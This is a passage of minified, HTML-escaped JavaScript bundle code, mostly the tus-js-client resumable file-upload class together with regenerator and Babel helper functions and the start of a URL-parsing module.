n=b,r.arg;r.dispatchException(r.arg)}else&quot;return&quot;===r.method&amp;&amp;r.abrupt(&quot;return&quot;,r.arg);n=f;var c=h(t,s,r);if(&quot;normal&quot;===c.type){if(n=r.done?b:g,c.arg===v)continue;return{value:c.arg,done:r.done}}&quot;throw&quot;===c.type&amp;&amp;(n=b,r.method=&quot;throw&quot;,r.arg=c.arg)}}}function N(t,s){var r=s.method,n=t.iterator[r];if(n===e)return s.delegate=null,&quot;throw&quot;===r&amp;&amp;t.iterator.return&amp;&amp;(s.method=&quot;return&quot;,s.arg=e,N(t,s),&quot;throw&quot;===s.method)||&quot;return&quot;!==r&amp;&amp;(s.method=&quot;throw&quot;,s.arg=new TypeError(&quot;The iterator does not provide a &#039;&quot;+r+&quot;&#039; method&quot;)),v;var o=h(n,t.iterator,s.arg);if(&quot;throw&quot;===o.type)return s.method=&quot;throw&quot;,s.arg=o.arg,s.delegate=null,v;var a=o.arg;return a?a.done?(s[t.resultName]=a.value,s.next=t.nextLoc,&quot;return&quot;!==s.method&amp;&amp;(s.method=&quot;next&quot;,s.arg=e),s.delegate=null,v):a:(s.method=&quot;throw&quot;,s.arg=new TypeError(&quot;iterator result is not an object&quot;),s.delegate=null,v)}function T(e){var t={tryLoc:e[0]};1 in e&amp;&amp;(t.catchLoc=e[1]),2 in e&amp;&amp;(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function B(e){var t=e.completion||{};t.type=&quot;normal&quot;,delete t.arg,e.completion=t}function P(e){this.tryEntries=[{tryLoc:&quot;root&quot;}],e.forEach(T,this),this.reset(!0)}function I(t){if(t||&quot;&quot;===t){var s=t[a];if(s)return s.call(t);if(&quot;function&quot;==typeof t.next)return t;if(!isNaN(t.length)){var n=-1,o=function s(){for(;++n&lt;t.length;)if(r.call(t,n))return s.value=t[n],s.done=!1,s;return s.value=e,s.done=!0,s};return o.next=o}}throw new TypeError(p(t)+&quot; is not iterable&quot;)}return y.prototype=x,n(C,&quot;constructor&quot;,{value:x,configurable:!0}),n(x,&quot;constructor&quot;,{value:y,configurable:!0}),y.displayName=u(x,l,&quot;GeneratorFunction&quot;),t.isGeneratorFunction=function(e){var t=&quot;function&quot;==typeof e&amp;&amp;e.constructor;return!!t&amp;&amp;(t===y||&quot;GeneratorFunction&quot;===(t.displayName||t.name))},t.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,x):(e.__proto__=x,u(e,l,&quot;GeneratorFunction&quot;)),e.prototype=Object.create(C),e},t.awrap=function(e){return{__await:e}},A(S.prototype),u(S.prototype,i,function(){return this}),t.AsyncIterator=S,t.async=function(e,s,r,n,o){void 0===o&amp;&amp;(o=Promise);var a=new S(d(e,s,r,n),o);return t.isGeneratorFunction(s)?a:a.next().then(function(e){return e.done?e.value:a.next()})},A(C),u(C,l,&quot;Generator&quot;),u(C,a,function(){return this}),u(C,&quot;toString&quot;,function(){return&quot;[object Generator]&quot;}),t.keys=function(e){var t=Object(e),s=[];for(var r in t)s.push(r);return s.reverse(),function e(){for(;s.length;){var r=s.pop();if(r in t)return e.value=r,e.done=!1,e}return e.done=!0,e}},t.values=I,P.prototype={constructor:P,reset:function(t){if(this.prev=0,this.next=0,this.sent=this._sent=e,this.done=!1,this.delegate=null,this.method=&quot;next&quot;,this.arg=e,this.tryEntries.forEach(B),!t)for(var s in this)&quot;t&quot;===s.charAt(0)&amp;&amp;r.call(this,s)&amp;&amp;!isNaN(+s.slice(1))&amp;&amp;(this[s]=e)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if(&quot;throw&quot;===e.type)throw e.arg;return this.rval},dispatchException:function(t){if(this.done)throw t;var s=this;function n(r,n){return i.type=&quot;throw&quot;,i.arg=t,s.next=r,n&amp;&amp;(s.method=&quot;next&quot;,s.arg=e),!!n}for(var o=this.tryEntries.length-1;o&gt;=0;--o){var a=this.tryEntries[o],i=a.completion;if(&quot;root&quot;===a.tryLoc)return n(&quot;end&quot;);if(a.tryLoc&lt;=this.prev){var l=r.call(a,&quot;catchLoc&quot;),c=r.call(a,&quot;finallyLoc&quot;);if(l&amp;&amp;c){if(this.prev&lt;a.catchLoc)return n(a.catchLoc,!0);if(this.prev&lt;a.finallyLoc)return n(a.finallyLoc)}else if(l){if(this.prev&lt;a.catchLoc)return n(a.catchLoc,!0)}else{if(!c)throw Error(&quot;try statement without catch or finally&quot;);if(this.prev&lt;a.finallyLoc)return n(a.finallyLoc)}}}},abrupt:function(e,t){for(var s=this.tryEntries.length-1;s&gt;=0;--s){var n=this.tryEntries[s];if(n.tryLoc&lt;=this.prev&amp;&amp;r.call(n,&quot;finallyLoc&quot;)&amp;&amp;this.prev&lt;n.finallyLoc){var o=n;break}}o&amp;&amp;(&quot;break&quot;===e||&quot;continue&quot;===e)&amp;&amp;o.tryLoc&lt;=t&amp;&amp;t&lt;=o.finallyLoc&amp;&amp;(o=null);var a=o?o.completion:{};return a.type=e,a.arg=t,o?(this.method=&quot;next&quot;,this.next=o.finallyLoc,v):this.complete(a)},complete:function(e,t){if(&quot;throw&quot;===e.type)throw e.arg;return&quot;break&quot;===e.type||&quot;continue&quot;===e.type?this.next=e.arg:&quot;return&quot;===e.type?(this.rval=this.arg=e.arg,this.method=&quot;return&quot;,this.next=&quot;end&quot;):&quot;normal&quot;===e.type&amp;&amp;t&amp;&amp;(this.next=t),v},finish:function(e){for(var t=this.tryEntries.length-1;t&gt;=0;--t){var s=this.tryEntries[t];if(s.finallyLoc===e)return this.complete(s.completion,s.afterLoc),B(s),v}},catch:function(e){for(var t=this.tryEntries.length-1;t&gt;=0;--t){var s=this.tryEntries[t];if(s.tryLoc===e){var r=s.completion;if(&quot;throw&quot;===r.type){var n=r.arg;B(s)}return n}}throw Error(&quot;illegal catch attempt&quot;)},delegateYield:function(t,s,r){return this.delegate={iterator:I(t),resultName:s,nextLoc:r},&quot;next&quot;===this.method&amp;&amp;(this.arg=e),v}},t}function u(e,t,s,r,n,o,a){try{var i=e[o](a),l=i.value}catch(e){return void s(e)}i.done?t(l):Promise.resolve(l).then(r,n)}function d(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var s=null==e?null:&quot;undefined&quot;!=typeof Symbol&amp;&amp;e[Symbol.iterator]||e[&quot;@@iterator&quot;];if(null!=s){var r,n,o,a,i=[],l=!0,c=!1;try{if(o=(s=s.call(e)).next,0===t){if(Object(s)!==s)return;l=!1}else for(;!(l=(r=o.call(s)).done)&amp;&amp;(i.push(r.value),i.length!==t);l=!0);}catch(e){c=!0,n=e}finally{try{if(!l&amp;&amp;null!=s.return&amp;&amp;(a=s.return(),Object(a)!==a))return}finally{if(c)throw n}}return i}}(e,t)||h(e,t)||function(){throw new TypeError(&quot;Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.&quot;)}()}function p(e){return p=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},p(e)}function h(e,t){if(e){if(&quot;string&quot;==typeof e)return m(e,t);var s=Object.prototype.toString.call(e).slice(8,-1);return&quot;Object&quot;===s&amp;&amp;e.constructor&amp;&amp;(s=e.constructor.name),&quot;Map&quot;===s||&quot;Set&quot;===s?Array.from(e):&quot;Arguments&quot;===s||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(s)?m(e,t):void 0}}function m(e,t){(null==t||t&gt;e.length)&amp;&amp;(t=e.length);for(var s=0,r=new Array(t);s&lt;t;s++)r[s]=e[s];return r}function g(e,t){var s=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&amp;&amp;(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),s.push.apply(s,r)}return s}function f(e){for(var t=1;t&lt;arguments.length;t++){var s=null!=arguments[t]?arguments[t]:{};t%2?g(Object(s),!0).forEach(function(t){b(e,t,s[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(s)):g(Object(s)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(s,t))})}return e}function b(e,t,s){return(t=k(t))in e?Object.defineProperty(e,t,{value:s,enumerable:!0,configurable:!0,writable:!0}):e[t]=s,e}function v(e,t){for(var s=0;s&lt;t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,&quot;value&quot;in r&amp;&amp;(r.writable=!0),Object.defineProperty(e,k(r.key),r)}}function k(e){var t=function(e,t){if(&quot;object&quot;!=p(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var r=s.call(e,t||&quot;default&quot;);if(&quot;object&quot;!=p(r))return r;throw new TypeError(&quot;@@toPrimitive must return a primitive value.&quot;)}return(&quot;string&quot;===t?String:Number)(e)}(e,&quot;string&quot;);return&quot;symbol&quot;==p(t)?t:t+&quot;&quot;}var y=&quot;tus-v1&quot;,x=&quot;ietf-draft-03&quot;,j={endpoint:null,uploadUrl:null,metadata:{},metadataForPartialUploads:{},fingerprint:null,uploadSize:null,onProgress:null,onChunkComplete:null,onSuccess:null,onError:null,onUploadUrlAvailable:null,overridePatchMethod:!1,headers:{},addRequestId:!1,onBeforeRequest:null,onAfterResponse:null,onShouldRetry:T,chunkSize:Number.POSITIVE_INFINITY,retryDelays:[0,1e3,3e3,5e3],parallelUploads:1,parallelUploadBoundaries:null,storeFingerprintForResuming:!0,removeFingerprintOnSuccess:!1,uploadLengthDeferred:!1,uploadDataDuringCreation:!1,urlStorage:null,fileReader:null,httpStack:null,protocol:y},w=function(){function e(t,s){!function(e,t){if(!(e instanceof t))throw new TypeError(&quot;Cannot call a class as a function&quot;)}(this,e),&quot;resume&quot;in s&amp;&amp;console.log(&quot;tus: The `resume` option has been removed in tus-js-client v2. Please use the URL storage API instead.&quot;),this.options=s,this.options.chunkSize=Number(this.options.chunkSize),this._urlStorage=this.options.urlStorage,this.file=t,this.url=null,this._req=null,this._fingerprint=null,this._urlStorageKey=null,this._offset=null,this._aborted=!1,this._size=null,this._source=null,this._retryAttempt=0,this._retryTimeout=null,this._offsetBeforeRetry=0,this._parallelUploads=null,this._parallelUploadUrls=null}return t=e,s=[{key:&quot;findPreviousUploads&quot;,value:function(){var e=this;return this.options.fingerprint(this.file,this.options).then(function(t){return e._urlStorage.findUploadsByFingerprint(t)})}},{key:&quot;resumeFromPreviousUpload&quot;,value:function(e){this.url=e.uploadUrl||null,this._parallelUploadUrls=e.parallelUploadUrls||null,this._urlStorageKey=e.urlStorageKey}},{key:&quot;start&quot;,value:function(){var e=this,t=this.file;if(t)if([y,x].includes(this.options.protocol))if(this.options.endpoint||this.options.uploadUrl||this.url){var s=this.options.retryDelays;if(null==s||&quot;[object Array]&quot;===Object.prototype.toString.call(s)){if(this.options.parallelUploads&gt;1)for(var r=0,n=[&quot;uploadUrl&quot;,&quot;uploadSize&quot;,&quot;uploadLengthDeferred&quot;];r&lt;n.length;r++){var o=n[r];if(this.options[o])return void this._emitError(new Error(&quot;tus: cannot use the &quot;.concat(o,&quot; option when parallelUploads is enabled&quot;)))}if(this.options.parallelUploadBoundaries){if(this.options.parallelUploads&lt;=1)return void this._emitError(new Error(&quot;tus: cannot use the `parallelUploadBoundaries` option when `parallelUploads` is disabled&quot;));if(this.options.parallelUploads!==this.options.parallelUploadBoundaries.length)return void this._emitError(new Error(&quot;tus: the `parallelUploadBoundaries` must have the same length as the value of `parallelUploads`&quot;))}this.options.fingerprint(t,this.options).then(function(s){return null==s?(0,i.R)(&quot;No fingerprint was calculated meaning that the upload cannot be stored in the URL storage.&quot;):(0,i.R)(&quot;Calculated fingerprint: &quot;.concat(s)),e._fingerprint=s,e._source?e._source:e.options.fileReader.openFile(t,e.options.chunkSize)}).then(function(t){if(e._source=t,e.options.uploadLengthDeferred)e._size=null;else if(null!=e.options.uploadSize){if(e._size=Number(e.options.uploadSize),Number.isNaN(e._size))return void e._emitError(new Error(&quot;tus: cannot convert `uploadSize` option into a number&quot;))}else if(e._size=e._source.size,null==e._size)return void e._emitError(new Error(&quot;tus: cannot automatically derive upload&#039;s size from input. Specify it manually using the `uploadSize` option or use the `uploadLengthDeferred` option&quot;));e.options.parallelUploads&gt;1||null!=e._parallelUploadUrls?e._startParallelUpload():e._startSingleUpload()}).catch(function(t){e._emitError(t)})}else this._emitError(new Error(&quot;tus: the `retryDelays` option must either be an array or null&quot;))}else this._emitError(new Error(&quot;tus: neither an endpoint or an upload URL is provided&quot;));else this._emitError(new Error(&quot;tus: unsupported protocol &quot;.concat(this.options.protocol)));else this._emitError(new Error(&quot;tus: no file or stream to upload provided&quot;))}},{key:&quot;_startParallelUpload&quot;,value:function(){var t,s=this,r=this._size,n=0;this._parallelUploads=[];var o=null!=this._parallelUploadUrls?this._parallelUploadUrls.length:this.options.parallelUploads,a=null!==(t=this.options.parallelUploadBoundaries)&amp;&amp;void 0!==t?t:function(e,t){for(var s=Math.floor(e/t),r=[],n=0;n&lt;t;n++)r.push({start:s*n,end:s*(n+1)});return r[t-1].end=e,r}(this._source.size,o);this._parallelUploadUrls&amp;&amp;a.forEach(function(e,t){e.uploadUrl=s._parallelUploadUrls[t]||null}),this._parallelUploadUrls=new Array(a.length);var l,c=a.map(function(t,o){var i=0;return s._source.slice(t.start,t.end).then(function(l){var c=l.value;return new Promise(function(l,u){var d=f(f({},s.options),{},{uploadUrl:t.uploadUrl||null,storeFingerprintForResuming:!1,removeFingerprintOnSuccess:!1,parallelUploads:1,parallelUploadBoundaries:null,metadata:s.options.metadataForPartialUploads,headers:f(f({},s.options.headers),{},{&quot;Upload-Concat&quot;:&quot;partial&quot;}),onSuccess:l,onError:u,onProgress:function(e){n=n-i+e,i=e,s._emitProgress(n,r)},onUploadUrlAvailable:function(){s._parallelUploadUrls[o]=p.url,s._parallelUploadUrls.filter(function(e){return Boolean(e)}).length===a.length&amp;&amp;s._saveUploadInUrlStorage()}}),p=new e(c,d);p.start(),s._parallelUploads.push(p)})})});Promise.all(c).then(function(){(l=s._openRequest(&quot;POST&quot;,s.options.endpoint)).setHeader(&quot;Upload-Concat&quot;,&quot;final;&quot;.concat(s._parallelUploadUrls.join(&quot; &quot;)));var e=_(s.options.metadata);return&quot;&quot;!==e&amp;&amp;l.setHeader(&quot;Upload-Metadata&quot;,e),s._sendRequest(l,null)}).then(function(e){if(C(e.getStatus(),200)){var t=e.getHeader(&quot;Location&quot;);null!=t?(s.url=B(s.options.endpoint,t),(0,i.R)(&quot;Created upload at &quot;.concat(s.url)),s._emitSuccess(e)):s._emitHttpError(l,e,&quot;tus: invalid or missing Location header&quot;)}else s._emitHttpError(l,e,&quot;tus: unexpected response while creating upload&quot;)}).catch(function(e){s._emitError(e)})}},{key:&quot;_startSingleUpload&quot;,value:function(){return this._aborted=!1,null!=this.url?((0,i.R)(&quot;Resuming upload from previous URL: &quot;.concat(this.url)),void this._resumeUpload()):null!=this.options.uploadUrl?((0,i.R)(&quot;Resuming upload from provided URL: &quot;.concat(this.options.uploadUrl)),this.url=this.options.uploadUrl,void this._resumeUpload()):((0,i.R)(&quot;Creating a new upload&quot;),void this._createUpload())}},{key:&quot;abort&quot;,value:function(t){var s=this;if(null!=this._parallelUploads){var r,n=function(e,t){var s=&quot;undefined&quot;!=typeof Symbol&amp;&amp;e[Symbol.iterator]||e[&quot;@@iterator&quot;];if(!s){if(Array.isArray(e)||(s=h(e))||t&amp;&amp;e&amp;&amp;&quot;number&quot;==typeof e.length){s&amp;&amp;(e=s);var r=0,n=function(){};return{s:n,n:function(){return r&gt;=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:n}}throw new TypeError(&quot;Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.&quot;)}var o,a=!0,i=!1;return{s:function(){s=s.call(e)},n:function(){var e=s.next();return a=e.done,e},e:function(e){i=!0,o=e},f:function(){try{a||null==s.return||s.return()}finally{if(i)throw o}}}}(this._parallelUploads);try{for(n.s();!(r=n.n()).done;)r.value.abort(t)}catch(e){n.e(e)}finally{n.f()}}return null!==this._req&amp;&amp;this._req.abort(),this._aborted=!0,null!=this._retryTimeout&amp;&amp;(clearTimeout(this._retryTimeout),this._retryTimeout=null),t&amp;&amp;null!=this.url?e.terminate(this.url,this.options).then(function(){return s._removeFromUrlStorage()}):Promise.resolve()}},{key:&quot;_emitHttpError&quot;,value:function(e,t,s,r){this._emitError(new a.A(s,r,e,t))}},{key:&quot;_emitError&quot;,value:function(e){var t=this;if(!this._aborted){if(null!=this.options.retryDelays&amp;&amp;(null!=this._offset&amp;&amp;this._offset&gt;this._offsetBeforeRetry&amp;&amp;(this._retryAttempt=0),N(e,this._retryAttempt,this.options))){var s=this.options.retryDelays[this._retryAttempt++];return this._offsetBeforeRetry=this._offset,void(this._retryTimeout=setTimeout(function(){t.start()},s))}if(&quot;function&quot;!=typeof this.options.onError)throw e;this.options.onError(e)}}},{key:&quot;_emitSuccess&quot;,value:function(e){this.options.removeFingerprintOnSuccess&amp;&amp;this._removeFromUrlStorage(),&quot;function&quot;==typeof this.options.onSuccess&amp;&amp;this.options.onSuccess({lastResponse:e})}},{key:&quot;_emitProgress&quot;,value:function(e,t){&quot;function&quot;==typeof this.options.onProgress&amp;&amp;this.options.onProgress(e,t)}},{key:&quot;_emitChunkComplete&quot;,value:function(e,t,s){&quot;function&quot;==typeof this.options.onChunkComplete&amp;&amp;this.options.onChunkComplete(e,t,s)}},{key:&quot;_createUpload&quot;,value:function(){var e=this;if(this.options.endpoint){var t=this._openRequest(&quot;POST&quot;,this.options.endpoint);this.options.uploadLengthDeferred?t.setHeader(&quot;Upload-Defer-Length&quot;,&quot;1&quot;):t.setHeader(&quot;Upload-Length&quot;,&quot;&quot;.concat(this._size));var s,r=_(this.options.metadata);&quot;&quot;!==r&amp;&amp;t.setHeader(&quot;Upload-Metadata&quot;,r),this.options.uploadDataDuringCreation&amp;&amp;!this.options.uploadLengthDeferred?(this._offset=0,s=this._addChunkToRequest(t)):(this.options.protocol===x&amp;&amp;t.setHeader(&quot;Upload-Complete&quot;,&quot;?0&quot;),s=this._sendRequest(t,null)),s.then(function(s){if(C(s.getStatus(),200)){var r=s.getHeader(&quot;Location&quot;);if(null!=r){if(e.url=B(e.options.endpoint,r),(0,i.R)(&quot;Created upload at &quot;.concat(e.url)),&quot;function&quot;==typeof e.options.onUploadUrlAvailable&amp;&amp;e.options.onUploadUrlAvailable(),0===e._size)return e._emitSuccess(s),void e._source.close();e._saveUploadInUrlStorage().then(function(){e.options.uploadDataDuringCreation?e._handleUploadResponse(t,s):(e._offset=0,e._performUpload())})}else e._emitHttpError(t,s,&quot;tus: invalid or missing Location header&quot;)}else e._emitHttpError(t,s,&quot;tus: unexpected response while creating upload&quot;)}).catch(function(s){e._emitHttpError(t,null,&quot;tus: failed to create upload&quot;,s)})}else this._emitError(new Error(&quot;tus: unable to create upload because no endpoint is provided&quot;))}},{key:&quot;_resumeUpload&quot;,value:function(){var e=this,t=this._openRequest(&quot;HEAD&quot;,this.url);this._sendRequest(t,null).then(function(s){var r=s.getStatus();if(!C(r,200))return 423===r?void e._emitHttpError(t,s,&quot;tus: upload is currently locked; retry later&quot;):(C(r,400)&amp;&amp;e._removeFromUrlStorage(),e.options.endpoint?(e.url=null,void e._createUpload()):void e._emitHttpError(t,s,&quot;tus: unable to resume upload (new upload cannot be created without an endpoint)&quot;));var n=Number.parseInt(s.getHeader(&quot;Upload-Offset&quot;),10);if(Number.isNaN(n))e._emitHttpError(t,s,&quot;tus: invalid or missing offset value&quot;);else{var o=Number.parseInt(s.getHeader(&quot;Upload-Length&quot;),10);!Number.isNaN(o)||e.options.uploadLengthDeferred||e.options.protocol!==y?(&quot;function&quot;==typeof e.options.onUploadUrlAvailable&amp;&amp;e.options.onUploadUrlAvailable(),e._saveUploadInUrlStorage().then(function(){if(n===o)return e._emitProgress(o,o),void e._emitSuccess(s);e._offset=n,e._performUpload()})):e._emitHttpError(t,s,&quot;tus: invalid or missing length value&quot;)}}).catch(function(s){e._emitHttpError(t,null,&quot;tus: failed to resume upload&quot;,s)})}},{key:&quot;_performUpload&quot;,value:function(){var e,t=this;this._aborted||(this.options.overridePatchMethod?(e=this._openRequest(&quot;POST&quot;,this.url)).setHeader(&quot;X-HTTP-Method-Override&quot;,&quot;PATCH&quot;):e=this._openRequest(&quot;PATCH&quot;,this.url),e.setHeader(&quot;Upload-Offset&quot;,&quot;&quot;.concat(this._offset)),this._addChunkToRequest(e).then(function(s){C(s.getStatus(),200)?t._handleUploadResponse(e,s):t._emitHttpError(e,s,&quot;tus: unexpected response while uploading chunk&quot;)}).catch(function(s){t._aborted||t._emitHttpError(e,null,&quot;tus: failed to upload chunk at offset &quot;.concat(t._offset),s)}))}},{key:&quot;_addChunkToRequest&quot;,value:function(e){var t=this,s=this._offset,r=this._offset+this.options.chunkSize;return e.setProgressHandler(function(e){t._emitProgress(s+e,t._size)}),e.setHeader(&quot;Content-Type&quot;,&quot;application/offset+octet-stream&quot;),(r===Number.POSITIVE_INFINITY||r&gt;this._size)&amp;&amp;!this.options.uploadLengthDeferred&amp;&amp;(r=this._size),this._source.slice(s,r).then(function(s){var r=s.value,n=s.done,o=null!=r&amp;&amp;r.size?r.size:0;t.options.uploadLengthDeferred&amp;&amp;n&amp;&amp;(t._size=t._offset+o,e.setHeader(&quot;Upload-Length&quot;,&quot;&quot;.concat(t._size)));var a=t._offset+o;return!t.options.uploadLengthDeferred&amp;&amp;n&amp;&amp;a!==t._size?Promise.reject(new Error(&quot;upload was configured with a size of &quot;.concat(t._size,&quot; bytes, but the source is done after &quot;).concat(a,&quot; bytes&quot;))):null===r?t._sendRequest(e):(t.options.protocol===x&amp;&amp;e.setHeader(&quot;Upload-Complete&quot;,n?&quot;?1&quot;:&quot;?0&quot;),t._emitProgress(t._offset,t._size),t._sendRequest(e,r))})}},{key:&quot;_handleUploadResponse&quot;,value:function(e,t){var s=Number.parseInt(t.getHeader(&quot;Upload-Offset&quot;),10);if(Number.isNaN(s))this._emitHttpError(e,t,&quot;tus: invalid or missing offset value&quot;);else{if(this._emitProgress(s,this._size),this._emitChunkComplete(s-this._offset,s,this._size),this._offset=s,s===this._size)return this._emitSuccess(t),void this._source.close();this._performUpload()}}},{key:&quot;_openRequest&quot;,value:function(e,t){var s=A(e,t,this.options);return this._req=s,s}},{key:&quot;_removeFromUrlStorage&quot;,value:function(){var e=this;this._urlStorageKey&amp;&amp;(this._urlStorage.removeUpload(this._urlStorageKey).catch(function(t){e._emitError(t)}),this._urlStorageKey=null)}},{key:&quot;_saveUploadInUrlStorage&quot;,value:function(){var e=this;if(!this.options.storeFingerprintForResuming||!this._fingerprint||null!==this._urlStorageKey)return Promise.resolve();var t={size:this._size,metadata:this.options.metadata,creationTime:(new Date).toString()};return this._parallelUploads?t.parallelUploadUrls=this._parallelUploadUrls:t.uploadUrl=this.url,this._urlStorage.addUpload(this._fingerprint,t).then(function(t){e._urlStorageKey=t})}},{key:&quot;_sendRequest&quot;,value:function(e){return S(e,arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:null,this.options)}}],r=[{key:&quot;terminate&quot;,value:function(t){var s=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{},r=A(&quot;DELETE&quot;,t,s);return S(r,null,s).then(function(e){if(204!==e.getStatus())throw new a.A(&quot;tus: unexpected response while terminating upload&quot;,null,r,e)}).catch(function(n){if(n instanceof a.A||(n=new a.A(&quot;tus: failed to terminate upload&quot;,n,r,null)),!N(n,0,s))throw n;var o=s.retryDelays[0],i=s.retryDelays.slice(1),l=f(f({},s),{},{retryDelays:i});return new Promise(function(e){return setTimeout(e,o)}).then(function(){return e.terminate(t,l)})})}}],s&amp;&amp;v(t.prototype,s),r&amp;&amp;v(t,r),Object.defineProperty(t,&quot;prototype&quot;,{writable:!1}),t;var t,s,r}();function _(e){return Object.entries(e).map(function(e){var t=d(e,2),s=t[0],n=t[1];return&quot;&quot;.concat(s,&quot; &quot;).concat(r.o4.encode(String(n)))}).join(&quot;,&quot;)}function C(e,t){return e&gt;=t&amp;&amp;e&lt;t+100}function A(e,t,s){var r=s.httpStack.createRequest(e,t);s.protocol===x?r.setHeader(&quot;Upload-Draft-Interop-Version&quot;,&quot;5&quot;):r.setHeader(&quot;Tus-Resumable&quot;,&quot;1.0.0&quot;);for(var n=s.headers||{},o=0,a=Object.entries(n);o&lt;a.length;o++){var i=d(a[o],2),c=i[0],u=i[1];r.setHeader(c,u)}if(s.addRequestId){var p=(0,l.A)();r.setHeader(&quot;X-Request-ID&quot;,p)}return r}function S(_x,e,t){return E.apply(this,arguments)}function E(){var e;return e=c().mark(function e(t,s,r){var n;return c().wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(&quot;function&quot;!=typeof r.onBeforeRequest){e.next=3;break}return e.next=3,r.onBeforeRequest(t);case 3:return e.next=5,t.send(s);case 5:if(n=e.sent,&quot;function&quot;!=typeof r.onAfterResponse){e.next=9;break}return e.next=9,r.onAfterResponse(t,n);case 9:return e.abrupt(&quot;return&quot;,n);case 10:case&quot;end&quot;:return e.stop()}},e)}),E=function(){var t=this,s=arguments;return new Promise(function(r,n){var o=e.apply(t,s);function a(e){u(o,r,n,a,i,&quot;next&quot;,e)}function i(e){u(o,r,n,a,i,&quot;throw&quot;,e)}a(void 0)})},E.apply(this,arguments)}function N(e,t,s){return!(null==s.retryDelays||t&gt;=s.retryDelays.length||null==e.originalRequest)&amp;&amp;(s&amp;&amp;&quot;function&quot;==typeof s.onShouldRetry?s.onShouldRetry(e,t,s):T(e))}function T(e){var t,s=e.originalResponse?e.originalResponse.getStatus():0;return(!C(s,400)||409===s||423===s)&amp;&amp;(t=!0,&quot;undefined&quot;!=typeof navigator&amp;&amp;!1===navigator.onLine&amp;&amp;(t=!1),t)}function B(e,t){return new(o())(t,e).toString()}w.defaultOptions=j;const P=w},17291(e,t,s){&quot;use strict&quot;;function r(){return&quot;xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx&quot;.replace(/[xy]/g,function(e){var t=16*Math.random()|0;return(&quot;x&quot;===e?t:3&amp;t|8).toString(16)})}s.d(t,{A:()=&gt;r})},76580(e,t,s){&quot;use strict&quot;;var r=s(96811),n=s(24588),o=/^[\x00-\x20\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]+/,a=/[\n\r\t]/g,i=/^[A-Za-z][A-Za-z0-9+-.]*:\/\//,l=/:\d+$/,c=/^([a-z][a-z0-9.+-]*:)?(\/\/)?([\\/]+)?([\S\s]*)/i,u=/^[a-zA-Z]:/;function d(e){return(e||&quot;&quot;).toString().replace(o,&quot;&quot;)}var p=[[&quot;#&quot;,&quot;hash&quot;],[&quot;?&quot;,&quot;query&quot;],function(e,t){return g(t.protocol)?e.replace(/\\/g,&quot;/&quot;):e},[&quot;/&quot;,&quot;pathname&quot;],[&quot;@&quot;,&quot;auth&quot;,1],[NaN,&quot;host&quot;,void 0,1,1],[/:(\d*)$/,&quot;port&quot;,void 0,1],[NaN,&quot;hostname&quot;,void 0,1,1]],h={hash:1,query:1};function m(e){var t,s=(&quot;undefined&quot;!=typeof window||&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:{}).location||{},r={},n=typeof(e=e||s);if(&quot;blob:&quot;===e.protocol)r=new b(unescape(e.pathname),{});else if(&quot;string&quot;===n)for(t in r=new b(e,{}),h)delete r[t];else if(&quot;object&quot;===n){for(t in e)t in h||(r[t]=e[t]);void 0===r.slashes&amp;&amp;(r.slashes=i.test(e.href))}return r}function g(e){return&quot;file:&quot;===e||&quot;ftp:&quot;===e||&quot;http:&quot;===e||&quot;https:&quot;===e||&quot;ws:&quot;===e||&quot;wss:&quot;===e}function f(e,t){e=(e=d(e)).replace(a,&quot;&quot;),t=t||{};var s,r=c.exec(e),n=r[1]?r[1].toLowerCase():&quot;&quot;,o=!!r[2],i=!!r[3],l=0;return o?i?(s=r[2]+r[3]+r[4],l=r[2].length+r[3].length):(s=r[2]+r[4],l=r[2].length):i?(s=r[3]+r[4],l=r[3].length):s=r[4],&quot;file:&quot;===n?l&gt;=2&amp;&amp;(s=s.slice(2)):g(n)?s=r[4]:n?o&amp;&amp;(s=s.slice(2)):l&gt;=2&amp;&amp;g(t.protocol)&amp;&amp;(s=r[4]),{protocol:n,slashes:o||g(n),slashesCount:l,rest:s}}function b(e,t,s){if(e=(e=d(e)).replace(a,&quot;&quot;),!(this instanceof b))return new b(e,t,s);var o,i,l,c,h,v,k=p.slice(),y=typeof t,x=this,j=0;for(&quot;object&quot;!==y&amp;&amp;&quot;string&quot;!==y&amp;&amp;(s=t,t=null),s&amp;&amp;&quot;function&quot;!=typeof s&amp;&amp;(s=n.parse),o=!(i=f(e||&quot;&quot;,t=m(t))).protocol&amp;&amp;!i.slashes,x.slashes=i.slashes||o&amp;&amp;t.slashes,x.protocol=i.protocol||t.protocol||&quot;&quot;,e=i.rest,(&quot;file:&quot;===i.protocol&amp;&amp;(2!==i.slashesCount||u.test(e))||!i.slashes&amp;&amp;(i.protocol||i.slashesCount&lt;2||!g(x.protocol)))&amp;&amp;(k[3]=[/(.*)/,&quot;pathname&quot;]);j&lt;k.length;j++)&quot;function&quot;!=typeof(c=k[j])?(l=c[0],v=c[1],l!=l?x[v]=e:&quot;string&quot;==typeof 